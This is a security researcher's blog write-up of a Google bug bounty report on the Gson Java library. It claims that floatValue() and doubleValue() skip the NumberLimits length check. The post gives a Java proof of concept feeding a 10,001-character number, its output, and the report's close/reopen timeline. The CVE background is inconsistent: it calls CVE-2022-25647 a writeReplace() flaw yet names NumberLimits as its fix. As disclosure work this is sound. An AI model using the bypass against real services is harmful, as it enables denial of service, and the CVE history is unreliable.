Google VRP: Bypassing the Fix for CVE-2022-25647

Gson, not JSON

Gson (Google JSON) is an open-source Java library developed by Google.
Its primary purpose is to convert Java objects into their JSON representation (serialization) and to convert a JSON string back into an equivalent Java object (deserialization).

How Gson Works

To understand Gson, think of it as a two-way bridge between your Java code and the JSON format.

  1. Serialization (Object -> JSON) If you have a Java object (e.g., a User class with a name and age), Gson reads that object’s fields and writes them into a JSON string.

Java: User user = new User("Ted", 21);

Gson Output: {"name":"Ted", "age":21}

  1. Deserialization (JSON -> Object)

When you receive data from an API or a file in JSON format, Gson maps those values back into a new instance of your Java class.

CVE History of Gson

In more than 17 years (since 2008), only one CVE has affected Gson.
CVE-2022-25647: (Severity: High - CVSS 7.7)

  • Description: This is an insecure deserialization vulnerability affecting versions before 2.8.9.

  • Technical Detail: The flaw exists in the writeReplace() method in certain internal classes.
    An attacker can craft a malicious JSON payload that, when processed, triggers this method to deserialize untrusted data.

  • Impact: Primarily leads to Denial of Service (DoS) through resource exhaustion. While it is a deserialization flaw, it is generally not considered a Remote Code Execution (RCE) vector in standard configurations, though it can significantly disrupt application availability.

  • Mitigation: Upgrade to version 2.8.9 or later.

  • Fix: To address this, Google introduced a NumberLimits class that imposes a strict limit of 10,000 characters for a numeric string.
    If a number exceeds this limit, Gson is expected to throw an exception.

How to Bypass a CVE Fix: CVE-2022-25647

Bypass

Incomplete fix?

  • Method: Identify the class or function that was modified by the fix.

  • Ask yourself: “Are there any other methods in this class (or in child classes) that manipulate the same sensitive data without calling the new protection mechanism?

In our case, the fix protected intValue(), but overlooked its technical “siblings” (floatValue(), doubleValue()).
In short: “Don’t look at what the patch fixes; look at what it misses.”

In the security research community, you’ll also often hear variations like:

  • Focus on the delta, not the fix.
  • Don’t analyze the solution; analyze the remaining attack surface.
  • Attack the logic, not just the implementation.

Vulnerability Description

The NumberLimits class was introduced in Gson to address CVE-2022-25647, a denial-of-service vulnerability caused by unbounded BigDecimal parsing of oversized numeric strings.

It enforces a hard cap of 10,000 characters on any number string before parsing:

NumberLimits.java

1
2
3
4
5
6
7
private static final int MAX_NUMBER_STRING_LENGTH = 10_000;


public static BigDecimal parseBigDecimal(String s) {
      checkNumberStringLength(s);   // throws if s.length() > 10_000
      return new BigDecimal(s);
}

This protection is correctly applied to intValue() and longValue() in LazilyParsedNumber, which route through asBigDecimal() and therefore through NumberLimits.

However, floatValue() and doubleValue() call Float.parseFloat() and Double.parseDouble() directly, with no length check:

LazilyParsedNumber.java - lines 67-74

1
2
3
4
5
6
7
8
@Override
public float floatValue() {
    return Float.parseFloat(value); // no NumberLimits check
}     
@Override
public double doubleValue() {
    return Double.parseDouble(value);// no NumberLimits check
}

LazilyParsedNumber is the default representation for any field of type Number (not a float/double primitive) deserialized by Gson.
This is the default strategy, LAZILY_PARSED_NUMBER, configured in GsonBuilder at line 107:

GsonBuilder.java:107

1
2
private static final ToNumberStrategy DEFAULT_NUMBER_TO_NUMBER_STRATEGY =
      ToNumberPolicy.LAZILY_PARSED_NUMBER;

This means the bypass is reachable with zero configuration, against any Gson-based application that deserializes a field typed as Number and subsequently calls floatValue() or doubleValue() on it.

Proof of Concept

Requirements:

  • Java 11+ (JRE only)
  • Gson source: git clone https://github.com/google/gson.git
  • Maven: mvn package -DskipTests For this setup, I installed Maven using this guide, with the latest Maven version (3.9.12) available here.
1
2
3
4
5
6
git clone https://github.com/google/gson.git
cd gson
mvn package -DskipTests
# Copy Poc2.java into the gson repo
javac -cp gson/target/gson-*.jar Poc2.java
java -cp ".:$(ls gson/target/gson-*.jar | head -1)" Poc2

Poc2.java file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import com.google.gson.*;
import com.google.gson.reflect.TypeToken;
import java.util.Map;

/**
 * LazilyParsedNumber bypasses NumberLimits on floatValue() / doubleValue()
 *
 * NumberLimits caps number strings at 10,000 chars to prevent DoS.
 * intValue() / longValue() respect this limit via asBigDecimal().
 * floatValue() / doubleValue() call Float/Double.parseXxx() directly , no check.
 *
 * Affected: LazilyParsedNumber.java lines 67-74
 */
public class Poc2 {
    public static void main(String[] args) {
        Gson gson = new Gson();

        // 10,001-char number : one over the NumberLimits cap
        String big = "1." + "1".repeat(10_001);
        String json = "{\"x\":" + big + "}";

        Map<String, Number> map = gson.fromJson(
            json, new TypeToken<Map<String, Number>>(){}.getType());
        Number n = map.get("x");

        // intValue() : BLOCKED as expected
        try {
            n.intValue();
            System.out.println("intValue()    : accepted (unexpected)");
        } catch (NumberFormatException e) {
            System.out.println("intValue()    : BLOCKED by NumberLimits");
        }

        // floatValue() : bypasses NumberLimits
        System.out.println("floatValue()  : " + n.floatValue()
            + "  accepted, should have thrown NumberFormatException");

        // doubleValue() : bypasses NumberLimits
        System.out.println("doubleValue() : " + n.doubleValue()
            + "  accepted, should have thrown NumberFormatException");
    }
}

Output

1
2
3
4
5
6
7

tedsig@exegol:~/gson$ java -cp ".:$(ls gson/target/gson-*.jar | head -1)" Poc2


intValue()    : BLOCKED by NumberLimits
floatValue()  : 1.1111112  accepted, should have thrown NumberFormatException
doubleValue() : 1.1111111111111112  accepted, should have thrown NumberFormatException

Timeline of What Happened

I reported the issue on Feb 15, 2026. It was eventually accepted on Mar 10, 2026, but only after multiple close/reopen cycles.

file

If I had not pushed back, the issue likely would have stayed out of scope despite being valid.

file

Finally they accept the bug

file

A few weeks later, the report was accepted without a full fix because the remaining work was considered too time-consuming.

I still kept the reward and my ranking in the Hall of Fame and leaderboard.

file

Status Timeline

  • Feb 15, 2026 (13:42): Report closed.
  • Feb 16, 2026 (14:32): Report triaged (reopened).
  • Mar 5, 2026 (21:53): Report closed again.
  • Mar 6, 2026 (08:10): Report triaged again.
  • Mar 6, 2026 (23:48): Report closed again.
  • Mar 10, 2026 (08:56): Report triaged again.
  • Mar 10, 2026 (14:27): Report accepted.
  • Apr 3, 2026 (03:45): Report closed.

Tedsig42

Another infosec enthusiast blog